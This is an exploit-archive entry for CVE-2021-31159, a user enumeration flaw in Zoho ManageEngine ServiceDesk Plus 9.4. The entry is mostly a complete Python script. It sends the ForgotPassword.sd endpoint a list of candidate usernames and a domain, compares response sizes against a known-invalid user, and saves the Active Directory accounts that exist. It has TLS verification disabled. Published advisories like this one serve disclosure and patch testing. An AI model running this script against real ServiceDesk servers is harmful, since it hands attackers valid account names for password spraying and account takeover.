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Zoho ManageEngine ServiceDesk Plus 9.4 User Enumeration

Zoho ManageEngine ServiceDesk Plus 9.4 User Enumeration
Posted Jun 17, 2021
Authored by Ricardo Jose Ruiz Fernandez

Zoho ManageEngine ServiceDesk Plus version 9.4 suffers from a user enumeration vulnerability.

tags | exploit
advisories | CVE-2021-31159
SHA-256 | 870a1afb9f1433380867e92d6f4b12a310e6ee87a00b11040bf6cfbd0e03d858

Zoho ManageEngine ServiceDesk Plus 9.4 User Enumeration

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# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration (CVE-2021-31159)
# Date: 17/06/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)
# Vendor Homepage: https://www.manageengine.com
# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519
# Version: Previous to build 10519
# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4
# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]
# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159

import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')
parser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')
parser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file')
parser.add_argument('-o', '--outputfile', required=False, default="listed_users.txt", action='store', help='Output file')
my_args = parser.parse_args()
return my_args


def main():
args = get_args()
url = args.target
domain = args.domain
usersfile = args.usersfile
outputfile = args.outputfile

s = requests.session()
s.get(url)
resp_incorrect = s.get(url+"/ForgotPassword.sd?userName="+"nonexistentuserforsure"+"&dname="+domain, verify = False)
incorrect_size = len(resp_incorrect.content)
print("Incorrect size: %s"%(incorrect_size))

correct_users = []
users = open(usersfile).read().splitlines()
for u in users:
resp = s.get(url+"/ForgotPassword.sd?userName="+u+"&dname="+domain, verify = False)
valid = (len(resp.content) != incorrect_size)
if valid:
correct_users.append(u)
print("User: %s Response size: %s (correct: %s)"%(u, len(resp.content),str(valid)))

print("\nCorrect users\n")
with open(outputfile, 'w') as f:
for user in correct_users:
f.write("%s\n" % user)
print("- %s"%(user))

print("\nResults stored in %s\n"%(outputfile))


if __name__ == "__main__":
main()
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